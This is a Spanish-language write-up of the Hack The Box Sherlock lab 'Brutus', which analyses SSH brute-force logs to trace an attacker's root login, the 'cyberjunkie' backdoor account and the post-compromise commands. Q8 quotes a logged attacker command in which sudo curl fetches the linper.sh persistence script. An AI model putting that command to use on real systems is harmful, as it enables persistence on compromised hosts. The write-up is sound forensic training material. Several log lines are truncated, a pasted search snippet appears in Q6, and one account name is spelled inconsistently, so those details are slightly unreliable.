

# HTB Sherlock — Brutus

## Reconocimiento inicial

Al descomprimir el `.zip` nos encontramos con tres artefactos:

- `auth.log` — archivo de tracking en tiempo real de servicios daemon (sshd, acciones sudo, cron jobs, etc.)
- `utmp.py` — script para decodificar el binario `wtmp`. Trabaja con los campos: `Type`, `PID`, `Line` (terminal tty/pts), `ID`, `User`, `Host` y `Exit`
- `wtmp` — binario; con `file wtmp` confirmamos el tipo y con `last` obtenemos un timeline legible

```
> ls
auth.log  utmp.py  wtmp
> last wtmp
wtmpdb begins Sun Mar 29 19:34:43 2026
```

El análisis principal se centra en `auth.log`, que registra peticiones desde las **06:18:01 hasta las 06:41:01**. A simple vista, es evidente que estamos ante un **brute-force attack** contra el servicio SSH.

```
Mar 6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
```

## Preguntas

### Q1 — IP del atacante

*Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?*

**R:** 65.2.161.68

## Q2 — Usuario comprometido

*The bruteforce attempts were successful and the attacker gained access to an account on the server. What is the username of the account?*

**R:** root

Filtrando por la IP sospechosa y cruzando con las conexiones SSH aceptadas, vemos que el acceso exitoso se da directamente como root .

```
44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

## Q3 — Timestamp de login manual (UTC)

*Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session. Can be found in the wtmp artifact.*

**R:** 2024-03-06 06:32:45

Para parsear el binario wtmp usé utmpdump (del paquete util-linux ), aunque no estaba disponible directamente en mi entorno así que descargué el binario. El script .py incluido también funciona perfectamente.

Buscando con grep / rg por root y la IP sospechosa obtenemos el timestamp en CET, que pasado a UTC da el resultado.

```
./utmpdump_linux_amd64 -f wtmp > wtmp.decoded
ls
auth.log  utmp.py  utmpdump_linux_amd64  wtmp  wtmp.decoded
cat wtmp.decoded | rg -C 10 'root.*65'
{"Type":8,"Pid":842873,"Device":"pts/1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:08:04 CET","Addr":"0.0.0.0"}
{"Type":8,"Pid":836694,"Device":"pts/0","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:08:04 CET","Addr":"0.0.0.0"}
{"Type":1,"Pid":0,"Device":"","Id":"","User":"shutdown","Host":"6.2.0-1017-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:09:18 CET","Addr":"0.0.0.0"}
{"Type":2,"Pid":0,"Device":"","Id":"","User":"reboot","Host":"6.2.0-1018-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:17:15 CET","Addr":"0.0.0.0"}
{"Type":5,"Pid":464,"Device":"tty50","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":464,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":6,"Pid":464,"Device":"tty50","Id":"","User":"LOGIN","Host":"","Exit":{"Termination":0,"Exit":0},"Session":464,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":5,"Pid":505,"Device":"tty1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":505,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":6,"Pid":505,"Device":"tty1","Id":"","User":"LOGIN","Host":"","Exit":{"Termination":0,"Exit":0},"Session":505,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":1,"Pid":53,"Device":"","Id":"","User":"runlevel","Host":"6.2.0-1018-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:17:29 CET","Addr":"0.0.0.0"}
{"Type":7,"Pid":1583,"Device":"pts/0","Id":"","User":"root","Host":"203.101.190.9","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:19:55 CET","Addr":"203.101.190.9"}
{"Type":7,"Pid":2549,"Device":"pts/1","Id":"","User":"root","Host":"65.2.161.68","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:32:45 CET","Addr":"65.2.161.68"}
{"Type":8,"Pid":2491,"Device":"pts/1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:37:24 CET","Addr":"0.0.0.0"}
{"Type":7,"Pid":2667,"Device":"pts/1","Id":"","User":"cyberjunker","Host":"65.2.161.68","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:37:35 CET","Addr":"65.2.161.68"}
```

## Q4 — Número de sesión SSH

*SSH login sessions are tracked and assigned a session number upon login. What is the attacker's session number for the user account from Q2?*

**R:** 37

Directamente visible en `auth.log` en la línea donde `systemd-logind` registra la nueva sesión de `root`.

```
44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

---

## Q5 — Cuenta de persistencia

*The attacker added a new user as part of their persistence strategy and gave this account higher privileges. What is the name of this account?*

**R:** `cyberjunkie`

Es una táctica estándar: crear un usuario secundario para mantener persistencia aunque se cierre la sesión inicial. Buscando `useradd` / `usermod` / `groupadd` en el log, en la línea 336 encontramos la creación de `cyberjunkie`. Los logs siguientes confirman que lo añaden al grupo `sudo`, obteniendo así capacidad para ejecutar comandos con privilegios elevados.

```
useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash
passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
chfn[2605]: changed user 'cyberjunkie' information
```

---

## Q6 — MITRE ATT&CK Sub-technique

*What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?*

**R:** `T1136.001`

La creación de una cuenta local en sistemas standalone corresponde a la subtécnica **T1136.001 — Create Account: Local Account**.

The MITRE ATT&CK sub-technique ID for persistence by creating a new account is **T1136**.  MITRE ATT&CK® +1

It contains the following specific sub-techniques depending on the environment:  MITRE ATT&CK® +1

- **T1136.001:** [Local Account](#) (on standalone systems or workstations)

## Q7 — Fin de la primera sesión SSH

*What time did the attacker's first SSH session end according to auth.log?*

**R:** 2024-03-06 06:37:24

Filtrando por `logged out` en `auth.log` localizamos el cierre de la sesión de `root`, que termina cuando `cyberjunkie` ya está operativo.

```
r 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
r 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
r 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
r 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
r 6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
```

---

## Q8 — Comando sudo ejecutado

*The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?*

**R:** `sudo /usr/bin/curl`

`https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`

El atacante usó `curl` con `sudo` para descargar `linper.sh` desde el repositorio `montysecurity` en GitHub. `linper.sh` es un script de post-explotación de Linux.

```
06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```